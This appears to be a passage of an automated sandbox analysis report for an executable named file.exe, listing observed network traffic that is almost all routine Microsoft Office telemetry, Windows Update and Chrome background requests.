Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CE4CC60 PR_Recv,

5_2_6CE4CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hhuOZ1mh1W8sXGL&MD=44SSmx1t HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hhuOZ1mh1W8sXGL&MD=44SSmx1t HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
